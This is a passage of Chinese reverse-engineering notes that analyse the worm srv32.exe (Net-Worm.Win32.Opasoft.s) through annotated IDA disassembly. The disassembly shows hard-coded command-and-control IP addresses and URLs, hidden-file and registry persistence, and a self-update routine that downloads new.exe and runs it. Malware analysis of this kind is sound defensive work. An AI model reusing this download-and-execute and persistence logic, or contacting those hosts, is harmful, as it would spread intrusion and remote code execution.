A7B07DB2145491990A8AD977055A7540049AB776445ABC1F83FFF41247CD8AE
C388ECDBF562A1C9B2F850992A5AE4179915E63811D9BD958FA135E69F16B73
4E9FD4679FED9464E6EA753AFB5BB411F3AF28A7347F7B49C5A05C776AE1F9F
0FBDA29252FBF21F3F73CF888B599F0E6927B48725FA7C6A9871178EEAF6E42
BF0694A62838BDB2240DAE97F654A37F14872675A34CAA068A552AB3F53BCBB
4DD890E4788120AA3319EBE6BA4E98612EB93252D794C6BECB3464F48242F44
3B3EF0E077C15961E5406B821A626F755483A3FFA7A5E451E4CE96E149A0FBD
D&v=FEE9&d=0&w=&k=124F5"
这里的"K","V","W","D","T","P","C"其实对应的就是lpReadUrlBuffer中
的"k=", "v=", "w=", "d=", "t=", "p=", "c="，而函数sub_401C01和
sub_401BA9作用就是取"="号后面的值并以十六进制存储到内存中（如：k=124F5
调用sub_401C01时把124F5转换成十六进制0x124F5存到Hex_K_Value）,最后
内存中的数据如下：
00000000 08 00 00 00 01 00 00 00 C5 B7 03 00 01 00 00 00 ........欧......
00000010 38 4A F0 A0 30 00 00 00 15 25 FF FF FF FF FF FF 8J馉0....%
00000020 5D 00 00 00 D0 A5 89 93 CE 0F 20 86 05 3F 57 E8 ]...啸墦? ??W?
00000030 78 5F 90 C6 1B 1F 8E 20 DB 85 6D 95 54 CC 78 9E x_惼..?蹍m昑蘹?
00000040 C0 F2 8D 71 62 D4 3F C7 5E 50 06 9F 87 93 C5 46 莉峲b?荿P.焽撆F
00000050 B8 8A 9C 4B D8 0D 29 24 13 57 C7 66 62 6A 77 D9 笂淜?)$.W莊bjw?
00000060 51 CD 57 CF F9 79 4E 84 50 7F 47 8A 47 EC 52 5D Q蚖嚣yN凱G奊霷]
00000070 AA 96 3D 70 17 2A D7 CC C3 34 8F 3B 06 B5 98 EA 獤=p.*滋??.禈?
00000080 9A 28 61 87 73 3F 57 6E B8 2A 6D 43 CA CF 4F 56 ?a噑?Wn?mC氏OV
00000090 74 65 95 C0 1A 60 05 21 5E A0 E0 BE 6D 98 96 C2 te暲.`.!^犩緈槚?
000000A0 5B 5A 92 52 F1 94 9A 0E 96 4C C8 6E E6 EA 5B 00 [Z扲駭?朙萵骊[.
000000B0 F1 5A E9 B3 86 15 CC 75 94 BD 85 B3 31 8F DC 8D 馴槌?蘵斀叧1徿?
000000C0 90 5D 4D 5E D9 3A D4 3F 21 1A 00 8F 6C 0D 0F DF 怾M^??!..弆..?
000000D0 70 2F 21 BA 73 34 9F 58 AA 2F 78 F7 FE 07 50 D8 p/!簊4焁?x齄.P?
000000E0 C0 D0 19 84 6F 4B 63 B1 D5 FD 69 9F 62 A0 D5 47 佬.刼Kc闭齣焍犝G
000000F0 1F C9 A6 9B 64 3B 20 BE 7A 81 96 79 A8 98 68 C5 .搔沝; 緕仏yh?
00000100 87 23 FD A8 C0 B5 03 32 9C 6B 34 5C 3D 35 FF A9 ?赖.2渒4/=5?
00000110 DA BC 86 80 BE 5A 90 BB B8 D9 EE 4C 96 36 19 F1 诩唨綵惢纲頛?.?
00000120 94 9E C6 F8 DF 24 E6 DF C6 E3 8C B7 FB 02 4D 59 敒气?孢沏尫?MY
00000130 E8 03 58 08 C6 B0 54 DE A6 8B 0F 8F 05 30 2C 02 ?X.瓢T蕈??0,.
00000140 7D BC 14 A1 49 C7 2F 9F 90 7A B3 D9 09 ED EF 30 }??煇z迟.盹0
00000150 85 C9 B5 7A 36 D6 4D A1 4C 23 07 1A B5 71 5B DE 吷祕6諱#..祋[?
00000160 DD C6 19 5D 55 8D 13 10 84 2B B3 3D 18 0F F1 03 萜.]U?.??..?
00000170 EF F9 CF 93 1D 58 E0 BE 50 00 09 53 51 DC E2 D4 稆蠐.X嗑P..SQ茆?
00000180 80 00 EA F7 3E 84 D1 DD 92 A3 B0 C0 CF A7 31 79 €.犄>勓輶０老?y
00000190 61 36 28 E9 A6 3E 89 DA B3 A3 C6 4D 35 73 14 1C a6(棣>壼常芃5s..
000001A0 2D 17 A5 50 64 F9 88 36 16 69 A4 D0 B9 DA D6 88 -.d鶊6.iば冠謭
000001B0 6E 5F 32 BF B2 C4 0A 7D FC 8B F1 45 7A 51 24 75 n_2坎?}鼖馝zQ$u
000001C0 D1 E3 2B 37 99 AF 02 55 47 44 4C 19 CC E8 B6 2B 雁+7櫙.UGDL.惕?
000001D0 D2 6E A0 AF 23 50 E4 21 DB 48 ED AE 22 CF 69 69 襫牤#P?跦懋"蟟i
000001E0 46 92 87 88 DD 05 FE 04 48 48 E3 FD 61 79 21 92 F拠堓.?HH泯ay!?
000001F0 DD 6D 24 24 DF 48 BC 50 1E 82 00 EE 6A FE FF 50 輒$$逪糚.?頹?P
00000200 C3 B5 48 8B AD 36 89 2C 27 63 BC C6 E7 AB 30 CF 玫H嫮6?'c计绔0?
00000210 78 94 26 A7 45 FD 65 B0 C8 EC E5 43 EA 0D 66 06 x?齟叭戾C?f.
00000220 D2 22 0D EB E1 D1 E3 D4 2C 97 FE 52 16 BE 06 A7 ?.脶雁?楟R.??
00000230 B0 7D B2 14 54 91 99 0A 8A D9 77 05 5A 75 40 04 皚?T憴.娰w.Zu@.
00000240 9A B7 76 44 5A BC 1F 83 FF F4 12 47 CD 8A EC 38 毞vDZ???G蛫?
00000250 8E CD BF 56 2A 1C 9B 2F 85 09 92 A5 AE 41 79 91 幫縑*.??挜瓵y?
00000260 5E 63 81 1D 9B D9 58 FA 13 5E 69 F1 6B 73 4E 9F ^c?涃X?^i駅sN?
00000270 D4 67 9F ED 94 64 E6 EA 75 3A FB 5B B4 11 F3 AF 詆燀攄骊u:鸞?蟑
00000280 28 A7 34 7F 7B 49 C5 A0 5C 77 6A E1 F9 F0 FB DA (?{I艩/wj狴瘥?
00000290 29 25 2F BF 21 F3 F7 3C F8 88 B5 99 F0 E6 92 7B )%/?篦<鴪禉疰抺
000002A0 48 72 5F A7 C6 A9 87 11 78 EE AF 6E 42 BF 06 94 Hr_﹪.x畀nB??
000002B0 A6 28 38 BD B2 24 0D AE 97 F6 54 A3 7F 14 87 26 ?8讲$.畻鯰?.?
000002C0 75 A3 4C AA 06 8A 55 2A B3 F5 3B CB B4 DD 89 0E u?奤*初;舜輭.
000002D0 47 88 12 0A A3 31 9E BE 6B A4 E9 86 12 EB 93 25 G?.?灳kら?霌%
000002E0 2D 79 4C 6B EC B3 46 4F 48 24 2F 44 3B 3E F0 E0 -yLk斐FOH$/D;>疣
000002F0 77 C1 59 61 E5 40 6B 82 1A 62 6F 75 54 83 A3 FF w罽a錊k?bouT儯
00000300 A7 A5 E4 51 E4 CE 96 E1 49 A0 FB DD Д銺湮栣I狖?
第一个DWORD值00000008就是t=8中的8，第二个DWORD值就是var_830还不知道作甚么用的；
第三个DWORD值0003B7C5是k=后面的值（由于每次请求返回的k值不同所以这里已经不是124F5）
偏移18处的值对应p的值，偏移24到结尾对应C的值，偏移20处的DWORD值等于C值所占内存的字节
数除以8。
这段数据的结构表示如下：
struct tagSrv32tskFile
{
DWORD dwTValue; //ebp-834h
DWORD unknown1 = 1; //ebp-830h
DWORD dwKValue; //ebp-82Ch
DWORD unknown2 = 0; //ebp-828h
DWORD unknown3; //ebp-824h
DWORD unknown4; //ebp-820h
INT64 PValue; //ebp-81Ch
DWORD dwCount; //ebp-814
BYTE CValue[744] //ebp-810
};
CODE:004021CD loc_4021CD:
CODE:004021CD push 0 ; hTemplateFile
CODE:004021CF push 80000002h ; dwFlagsAndAttributes
CODE:004021D4 push 4 ; OPEN_ALWAYS，如果文件不存在，创建
CODE:004021D6 push 0 ; lpSecurityAttributes
CODE:004021D8 push 3 ; dwShareMode
CODE:004021DA push 40000000h ; dwDesiredAccess
CODE:004021DF push offset aSrv32tsk ; lpFileName
CODE:004021E4 call CreateFileA ; 创建文件srv32tsk
CODE:004021E9 cmp eax, 0FFFFFFFFh
CODE:004021EC jz short loc_4021CD ; 跳转直到文件srv32tsk创建成功
CODE:004021EE jmp short loc_402217
创建文件srv32tsk后跳转到loc_402217:
CODE:00402217 loc_402217:
CODE:00402217 lea edx, [ebp+lpBufferOfWrite]
CODE:0040221D push edx
CODE:0040221E push eax
CODE:0040221F call sub_401531 ; 把lpBufferOfWrite的内容写到文件srv32tsk
CODE:00402224
CODE:00402224 loc_402224: ; CODE XREF: StartAddress+45Bj
CODE:00402224 call sub_401C49 ; 写注册表 srv32
CODE:00402229 cmp ds:Data, 0
CODE:00402230 jz short loc_402239
CODE:00402232 call sub_4030EB <<<<<这里创建了两个线程，做个标记
CODE:00402237 jmp short loc_40223E
在函数sub_401531里把lpBufferOfWrite的内容（就是上面生成的那堆数据）写到文件srv32tsk，
sub_401C49会写注册表HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/SRV32下
D ＝ Hex_D_Value(二进制值，第一次到这时为00)，在sub_401C01函数里会修改ds:Data的值。
在sub_4030EB里会创建两个线程（sub_403045和sub_402EEE），有很多网络的动作，不过执行到
00402229这里时ds:Data的值为0，jz short loc_402239会跳转到：
CODE:00402239 loc_402239:
CODE:00402239 call sub_4031A3 ; closesocket
CODE:00402239 ; WSACleanup
CODE:0040223E
CODE:0040223E loc_40223E:
CODE:0040223E mov eax, [ebp+var_10]
CODE:00402241 imul eax, 8
CODE:00402244 push eax
CODE:00402245 push offset aSrv32res ; "Srv32Res"
CODE:0040224A call sub_401AAE
CODE:0040224F push offset aSrv32res ; "Srv32Res"
CODE:00402254 call icy_GetFileSize ; 这个函数已经被我重命名了
CODE:00402259 cmp eax, 8
CODE:0040225C jge loc_401F9B
CODE:00402262 jmp short loc_40228F
在sub_4031A3里调用了closesocket,WSACleanup关闭了socket;sub_401AAE和icy_GetFileSize
访问打开文件srv32res（不存在）失败，icy_GetFileSize返回-1所以jge loc_401F9B跳转实现
跳转到：
CODE:0040228F loc_40228F:
CODE:0040228F mov eax, [ebp+pBufOfReadFile]
CODE:00402292 movzx edx, word ptr [eax]
CODE:00402295 cmp edx, [ebp+Hex_V_Value]
CODE:0040229B jz loc_4023DD
CODE:004022A1 mov edi, 3
上一篇中pBufOfReadFile内容如下：
pBufOfReadFile[] =
{
0xE8,0xFE,0x0C,0x00,
0xF0,0x06,0x1E,0x00,
0x42,0xF6,0x29,0xC9,
0x3F,0xF7,0x87,0x30,
0x3F,0xF7,0x87,0x30,
0x40,0xB1,0xE2,0xC0,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00
}
由于Hex_V_Value = 0xFEE9，所以jz loc_4023DD未跳转
CODE:004022A6 loc_4022A6:
CODE:004022A6 mov esi, [ebp+pBufOfReadFile]
CODE:004022A9 inc edi
CODE:004022AA cmp edi, [ebp+var_C]
CODE:004022AD jnb loc_4023DD
CODE:004022B3 mov eax, [esi+edi*4] ;IP：0x3087F73F = 3F.F7.87.30=63.247.135.48
CODE:004022B6 test eax, eax
CODE:004022B8 jz loc_4023DD
CODE:004022BE push eax ; in
CODE:004022BF call inet_ntoa ; 63.247.135.48
CODE:004022C4 lea edx, [ebp+pszUrl]
CODE:004022CA push eax
CODE:004022CB push offset aHttpSL ; "http://%s/l"
CODE:004022D0 push edx
CODE:004022D1 call wsprintfA ; psUrl = http://63.247.135.48/l
CODE:004022D6 add esp, 0Ch
CODE:004022D9 lea eax, [ebp+NumberOfBytesWritten]
CODE:004022DF lea edx, [ebp+pszUrl]
CODE:004022E5 lea eax, [ebp+NumberOfBytesWritten]
CODE:004022EB push eax
CODE:004022EC push [ebp+lpReadUrlBuffer]
CODE:004022F2 push edx
CODE:004022F3 push [ebp+hInternet]
CODE:004022F9 call icy_ReadUrlFile
CODE:004022FE cmp eax, 0C8h
CODE:00402303 jnz short loc_4022A6 ; 读URL失败，重来
读http://63.247.135.48/l 的内容到lpReadUrlBuffer
lpReadUrlBuffer[] =
"E4 4B A7 99 B2 D2 46 94 B2 BA F0 67 39 74 88 EE
BE D0 9F 7E 46 58 52 5F 11 65 A7 DE A4 4F DA 10";
CODE:00402305 cmp [ebp+NumberOfBytesWritten], 20h ; 比较读出的内容是否是32个字节
CODE:0040230C jb short loc_4022A6 ; 读URL失败，重来
CODE:0040230E push [ebp+NumberOfBytesWritten] ; uBytes
CODE:00402314 push 0 ; uFlags
CODE:00402316 call LocalAlloc
CODE:0040231B mov [ebp+hMem], eax
CODE:0040231E push [ebp+NumberOfBytesWritten]
CODE:00402324 push eax
CODE:00402325 push [ebp+lpReadUrlBuffer]
CODE:0040232B call icy_CopyBufToAllocMem
CODE:00402330 push [ebp+NumberOfBytesWritten]
CODE:00402336 push [ebp+hMem]
CODE:00402339 call icy_ChangeAllocMem
CODE:0040233E mov eax, [ebp+hMem]
CODE:00402341 cmp dword ptr [eax+8], 0C929F642h
CODE:00402348 jz short loc_402357
CODE:0040234A push [ebp+hMem] ; hMem
CODE:0040234D call LocalFree
CODE:00402352 jmp loc_4022A6
比较lpReadUrlBuffer的内容是否是32个字节，然后分配一块内存调用icy_CopyBufToAllocMem
把lpReadurlBuffer拷贝一份到新分配的内存处，调用icy_ChangeAllocMem对这块内容做了一些
转换
CODE:00402357 ; ///////////////////////////////////////////////////////////////////////////
CODE:00402357
CODE:00402357 loc_402357: ; CODE XREF: StartAddress+598j
CODE:00402357 push [ebp+pBufOfReadFile] ; hMem
CODE:0040235A call LocalFree
CODE:0040235F mov eax, [ebp+hMem]
CODE:00402362 mov [ebp+pBufOfReadFile], eax
CODE:00402365 mov edi, eax
CODE:00402367 mov ecx, [ebp+NumberOfBytesWritten]
CODE:0040236D shr ecx, 2
CODE:00402370 xor eax, eax
CODE:00402372 cld
CODE:00402373 repne scasd
CODE:00402375 sub edi, [ebp+pBufOfReadFile]
CODE:00402378 shr edi, 2
CODE:0040237B dec edi
CODE:0040237C mov [ebp+var_C], edi
CODE:0040237F push 22h ; dwFileAttributes
CODE:00402381 push offset aHstlst ; lpFileName
CODE:00402386 call SetFileAttributesA
CODE:0040238B push 0 ; hTemplateFile
CODE:0040238D push 2 ; dwFlagsAndAttributes
CODE:0040238F push 2 ; dwCreationDisposition
CODE:00402391 push 0 ; lpSecurityAttributes
CODE:00402393 push 0 ; dwShareMode
CODE:00402395 push 40000000h ; dwDesiredAccess
CODE:0040239A push offset aHstlst ; lpFileName
CODE:0040239F call CreateFileA
CODE:004023A4 cmp eax, 0FFFFFFFFh
CODE:004023A7 jz short loc_4023DD
CODE:004023A9 mov edi, eax
CODE:004023AB lea edx, [ebp+NumberOfBytesWritten]
CODE:004023B1 push 0 ; lpOverlapped
CODE:004023B3 push edx ; lpNumberOfBytesWritten
CODE:004023B4 push [ebp+NumberOfBytesWritten] ; nNumberOfBytesToWrite
CODE:004023BA push [ebp+lpReadUrlBuffer] ; lpBuffer
CODE:004023C0 push edi ; hFile
CODE:004023C1 call WriteFile
CODE:004023C6 push edi ; hObject
CODE:004023C7 call CloseHandle
CODE:004023CC push 23h ; dwFileAttributes
CODE:004023CE push offset aHstlst ; lpFileName
CODE:004023D3 call SetFileAttributesA
CODE:004023D8 call icy_CopyFile_Hstlst_Hlb
在windows目录下创建一个文件hstlst,并把lpReadUrlBuffer的内容写到此文件中，如果
Hstlst的不小于32个字节，函数icy_CopyFile_Hstlst_Hlb把hstlst复制一份到hlb，
如果Hstlst小于32个字节，icy_CopyFile_Hstlst_Hlb把hlb复制一份到hstlst（这里就是
确保hstlst的内容不会被破坏）。
CODE:004023DD loc_4023DD: ; CODE XREF: StartAddress+4EBj
CODE:004023DD ; StartAddress+4FDj ...
CODE:004023DD cmp [ebp+Hex_W_Value], 0Ch
CODE:004023E4 jz loc_402498
CODE:004023EA mov edi, 3
CODE:004023EF
CODE:004023EF loc_4023EF: ; CODE XREF: StartAddress+69Cj
CODE:004023EF mov esi, [ebp+pBufOfReadFile]
CODE:004023F2 inc edi
CODE:004023F3 cmp edi, [ebp+var_C]
CODE:004023F6 jnb loc_402498 ; 退出线程
CODE:004023FC mov eax, [esi+edi*4] ; 69.60.111.123
CODE:004023FF test eax, eax
CODE:00402401 jz loc_402498
CODE:00402407 push eax ; in
CODE:00402408 call inet_ntoa
CODE:0040240D lea edx, [ebp+pszUrl]
CODE:00402413 push eax
CODE:00402414 push offset aHttpSU ; "http://%s/u"
CODE:00402419 push edx
CODE:0040241A call wsprintfA ; http://69.60.111.123/u
CODE:0040241A ; http://63.247.135.48/u
CODE:0040241F add esp, 0Ch
CODE:00402422 lea eax, [ebp+NumberOfBytesWritten]
CODE:00402428 lea edx, [ebp+pszUrl]
CODE:0040242E lea eax, [ebp+NumberOfBytesWritten]
CODE:00402434 push eax
CODE:00402435 push [ebp+lpReadUrlBuffer]
CODE:0040243B push edx
CODE:0040243C push [ebp+hInternet]
CODE:00402442 call icy_ReadUrlFile
CODE:00402447 cmp eax, 0C8h
CODE:0040244C jnz short loc_4023EF ; ; 失败，跳转
这里由于访问http://69.60.111.123/u和http://63.247.135.48/u都失败了所以在
CODE:004023F6 jnb loc_402498 跳转实现会退出线程，如果上面icy_ReadUrlFile
成功则执行下面代码，把读出的内容写到new.exe中，如果写成功则调用icy_CreateNew_ExitOld_Proc
执行new.exe自己退出（这应该是更新功能吧，作者考虑的很周全啊！还记得第一篇用到了new.exe吗？）
CODE:0040244E push 0 ; hTemplateFile
CODE:00402450 push 2 ; dwFlagsAndAttributes
CODE:00402452 push 4 ; dwCreationDisposition
CODE:00402454 push 0 ; lpSecurityAttributes
CODE:00402456 push 0 ; dwShareMode
CODE:00402458 push 40000000h ; dwDesiredAccess
CODE:0040245D push offset aNew_exe ; lpFileName
CODE:00402462 call CreateFileA
CODE:00402467 cmp eax, 0FFFFFFFFh
CODE:0040246A jz short loc_402498 ; CreateFile失败退出线程
CODE:0040246C mov esi, eax
CODE:0040246E lea edx, [ebp+NumberOfBytesWritten]
CODE:00402474 push 0 ; lpOverlapped
CODE:00402476 push edx ; lpNumberOfBytesWritten
CODE:00402477 push [ebp+NumberOfBytesWritten] ; nNumberOfBytesToWrite
CODE:0040247D push [ebp+lpReadUrlBuffer] ; lpBuffer
CODE:00402483 push esi ; hFile
CODE:00402484 call WriteFile
CODE:00402489 test eax, eax
CODE:0040248B jz short loc_402498 ; WriteFile失败退出线程
CODE:0040248D push esi ; hObject
CODE:0040248E call CloseHandle
CODE:00402493 call icy_CreateNew_ExitOld_Proc
CODE:00402498
CODE:00402498 loc_402498: ; CODE XREF: StartAddress+21Bj
CODE:00402498 ; StartAddress+254j ...
CODE:00402498 push [ebp+lpReadUrlBuffer] ; hMem
CODE:0040249E call LocalFree
CODE:004024A3 push [ebp+hInternet]
CODE:004024A9 call InternetCloseHandle
CODE:004024AE mov ds:ThreadId, 0
CODE:004024B8 leave
CODE:004024B9 retn 4
CODE:004024B9 StartAddress endp
到这里这个线程已经退出了，下一篇又会返回到主线程，大家最好再看一下第1，2篇。
============
逆向分析笔记5
文件名称：srv32.exe
蠕虫名称：Net-Worm.Win32.Opasoft.s
工具： IDA 4.5.1, SoftICE3.1
第3，4篇中我们一直在创建的那个线程（401DB0）里打转，跟着程序的思路走我们又回到
第2篇创建线程的位置：
CODE:004012C3 loc_4012C3:
CODE:004012C3 call sub_40148D
CODE:004012C8
CODE:004012C8 loc_4012C8:
CODE:004012C8 call sub_401575 ; 返回值1或0
CODE:004012CD test eax, eax ; 如果打开文件srv32tsk出错,eax == 0
CODE:004012CF jnz short loc_4012E5
CODE:004012D1 call sub_40148D ;---->线程（401DB0）在这里创建
CODE:004012D6 push 0FFFFFFFFh ; dwMilliseconds = INFINITE
CODE:004012D8 push ds:hThreadHandle ; hHandle
CODE:004012DE call WaitForSingleObject ; 等待线程结束
CODE:004012E3 jmp short loc_4012C8
CODE:004012E5 ; ///////////////////////////////////////////////////////////////////////////
CODE:004012E5
CODE:004012E5 loc_4012E5:
CODE:004012E5 push offset dword_406597
CODE:004012EA call sub_403332
CODE:004012EF add esp, 4
CODE:004012F2 mov ds:byte_406285, 1
CODE:004012F9 push ds:dword_4065A7
CODE:004012FF push offset unk_4065AB
CODE:00401304 push offset unk_40659F
CODE:00401309 call sub_403431
CODE:0040130E test ds:byte_406285, 1
CODE:00401315 jz short loc_4012A3
CODE:00401317 call sub_40178E
CODE:0040131C push eax
CODE:0040131D call sub_401675
CODE:00401322 call sub_401634
CODE:00401327 jmp short loc_4012C3
CODE:00401329 ; ///////////////////////////////////////////////////////////////////////////
CODE:00401329
CODE:00401329 locret_401329:
CODE:00401329 leave
CODE:0040132A retn
CODE:0040132A sub_40123E endp
在主线程sub_40123E 中调用call sub_40148D创建了第3，4篇中介绍的线程，随后主线程
又调用WaitForSingleObject(hThreadhandle, INFINITE)等待创建的线程（401DB0）
结束，WaitForSingleObject返回后主线程回跳倒loc_4012C8：在sub_401575中对文件
srv32tsk进行了读写操作如下：
CODE:00401575 sub_401575 proc near
CODE:00401575
CODE:00401575 var_ReturnValue = dword ptr -4
CODE:00401575
CODE:00401575 enter 4, 0
CODE:00401579 push esi
CODE:0040157A mov [ebp+var_ReturnValue], 0
CODE:00401581 push offset dword_406587
CODE:00401586 call icy_ReadFileSrv32tsk ; 读文件Srv32tsk的内容,存放到[406587]
CODE:0040158B cmp eax, 0FFFFFFFFh
CODE:0040158E jz short loc_4015E1 ; 打开文件srv32tsk失败则退出并返回0
CODE:00401590 mov esi, eax
CODE:00401592 mov [ebp+var_ReturnValue], 1
CODE:00401599 cmp ds:dword_406593, 0 ; 从文件srv32tsk开始的第4个DWORD值
CODE:004015A0 jz short loc_4015AA
CODE:004015A2 push esi ; hObject
CODE:004015A3 call CloseHandle ; 关闭文件
CODE:004015A8 jmp short loc_4015E1 ; 退出
CODE:004015AA ; ///////////////////////////////////////////////////////////////////////////
CODE:004015AA
CODE:004015AA loc_4015AA:
CODE:004015AA cmp ds:dword_40658B, 0 ; 从文件开始的第2个DWORD值
CODE:004015B1 jz short loc_4015D9
CODE:004015B3
CODE:004015B3 loc_4015B3:
CODE:004015B3 call sub_40171C
CODE:004015B8 mov ds:dword_406593, 1 ; 从文件srv32tsk开始的第4个DWORD值
CODE:004015C2 mov ds:dword_40658B, 0 ; 从文件srv32tsk开始的第2个DWORD值
CODE:004015CC push offset dword_406587
CODE:004015D1 push esi
CODE:004015D2 call icy_WriteFileSrv32tsk ; 写文件srv32tsk
CODE:004015D7 jmp short loc_4015E1
CODE:004015D9 ; ///////////////////////////////////////////////////////////////////////////
CODE:004015D9
CODE:004015D9 loc_4015D9:
CODE:004015D9 inc ds:dword_40658F ; 从文件srv32tsk开始的第3个DWORD值
CODE:004015DF jmp short loc_4015B3
CODE:004015E1 ; ///////////////////////////////////////////////////////////////////////////
CODE:004015E1
CODE:004015E1 loc_4015E1:
CODE:004015E1 mov eax, [ebp+var_ReturnValue]
CODE:004015E4 pop esi
CODE:004015E5 leave
CODE:004015E6 retn
CODE:004015E6 sub_401575 endp
先调用icy_ReadFileSrv32tsk 读文件srv32tsk，上一篇从Internet得到的srv32tsk的
结构如下：
struct tagSrv32tskFile
{
DWORD dwTValue; //ebp-834h
DWORD unknown1 = 1; //ebp-830h
DWORD dwKValue; //ebp-82Ch
DWORD unknown2 = 0; //ebp-828h
DWORD unknown3; //ebp-824h
DWORD unknown4; //ebp-820h
INT64 PValue; //ebp-81Ch
DWORD dwCount; //ebp-814h
BYTE CValue[744] //ebp-810h
};
判断第4个DWORD值是否为0，0表示第一次操作srv32tsk文件，需要调用下面的一些函数对文件srv32tsk
的某些字段进行转换，1表示已经操作过srv32tsk，在sub_40171C中对dwKValue和存放srv32tsk内容的
缓冲区地址的值 进行RCL移位等转换操作后把结果存到srv32tsk的第5个DW值，把第6个DWORD值清0。
call sub_40171C：
CODE:0040171C sub_40171C proc near ; CODE XREF: sub_401575+3Ep
CODE:0040171C mov eax, ds:dword_40658F ; dword_40658F:dwKValue
CODE:00401721 rcl eax, 0Dh
CODE:00401724 rcl edx, 1 ; edx为内存中srv32tsk的缓冲区地址
CODE:00401726 rcl eax, 1
CODE:00401728 rcl edx, 1
CODE:0040172A rcl eax, 1
CODE:0040172C rcl edx, 1
CODE:0040172E rcl eax, 1
CODE:00401730 rcl edx, 1
CODE:00401732 rcl eax, 1
CODE:00401734 rcl edx, 4
CODE:00401737 rcl eax, 1
CODE:00401739 rcl edx, 1
CODE:0040173B rcl eax, 1
CODE:0040173D rcl edx, 3
CODE:00401740 rcl eax, 1
CODE:00401742 rcl edx, 1
CODE:00401744 rcl eax, 1
CODE:00401746 rcl edx, 1
CODE:00401748 rcl eax, 1
CODE:0040174A rcl edx, 2
CODE:0040174D rcl eax, 1
CODE:0040174F rcl edx, 1
CODE:00401751 rcl eax, 1
CODE:00401753 rcl edx, 1
CODE:00401755 rcl eax, 1
CODE:00401757 rcl edx, 1
CODE:00401759 rcl eax, 1
CODE:0040175B rcl edx, 1
CODE:0040175D rcl eax, 1
CODE:0040175F rcl edx, 1
CODE:00401761 rcl eax, 1
CODE:00401763 rcl edx, 1
CODE:00401765 rcl eax, 1
CODE:00401767 rcl edx, 2
CODE:0040176A rcl eax, 1
CODE:0040176C rcl edx, 1
CODE:0040176E rcl eax, 1
CODE:00401770 rcl edx, 1
CODE:00401772 rcl eax, 1
CODE:00401774 rcl edx, 6
CODE:00401777 and edx, 0F8CEFEE0h
CODE:0040177D bswap edx
CODE:0040177F mov ds:dword_406597, edx ; 文件srv32tsk的第5个DW值
CODE:00401785 xor edx, edx
CODE:00401787 mov ds:dword_40659B, edx ; 文件srv32tsk的第6个DW值
CODE:0040178D retn
CODE:0040178D sub_40171C endp
接下来icy_WriteFileSrv32tsk用更改后的缓冲区内容重写srv32tsk文件，随后sub_401575退出返回值1。
CODE:004012C8 call sub_401575 ; 返回值1或0
CODE:004012CD test eax, eax ; 如果打开文件srv32tsk出错,eax == 0
CODE:004012CF jnz short loc_4012E5
跳转实现，jmp到：
CODE:004012E5 ; ///////////////////////////////////////////////////////////////////////////
CODE:004012E5
CODE:004012E5 loc_4012E5:
CODE:004012E5 push offset dword_406597 ; srv32tsk第5个DWORD值
CODE:004012EA call sub_403332
CODE:004012EF add esp, 4
CODE:004012F2 mov ds:byte_406285, 1
CODE:004012F9 push ds:dword_4065A7
CODE:004012FF push offset unk_4065AB
CODE:00401304 push offset unk_40659F
CODE:00401309 call sub_403431
CODE:0040130E test ds:byte_406285, 1
CODE:00401315 jz short loc_4012A3
CODE:00401317 call sub_40178E
CODE:0040131C push eax
CODE:0040131D call sub_401675
CODE:00401322 call sub_401634
CODE:00401327 jmp short loc_4012C3
CODE:00401329 ; ///////////////////////////////////////////////////////////////////////////
CODE:00401329
CODE:00401329 locret_401329:
CODE:00401329 leave
CODE:0040132A retn
CODE:0040132A sub_40123E endp
这里本应该调用几个函数sub_403332,sub_403431,sub_40178E,sub_401675,sub_401634
Jmp到loc_4012C3继续call sub_40148D，可在sub_403431中一直循环好像出不来了，
我想作者不会是为了耗系统资源而写的这个函数吧，不过偶实属菜鸟，希望能看得懂函数sub_403431
的大虾们指点一二，到这里整个程序的执行已经基本结束，你也许认为srv32没有传播自己，也没对
网络进行任何得攻击；作为蠕虫怎么会不传播自己呢，还记得在第4篇得时候有两个线程没有被执行吗.
在如下位置：
CODE:00402224 call sub_401C49 ; 写注册表 srv32
CODE:00402229 cmp ds:Data, 0
CODE:00402230 jz short loc_402239
CODE:00402232 call sub_4030EB <<<<<这里创建了两个线程，做个标记
CODE:00402237 jmp short loc_40223E
由于每次ds:Data的值都为0，所以这两个线程被跳过；Data的值为从http://63.246.135.48/r.php?t=0
读到的D=?的值，srv32的作者可能是通过D=0中止了蠕虫的继续传播。
IDA反汇编文件：http://bbs.pediy.com/upload/2005/4/files/srv32.unshell.rar
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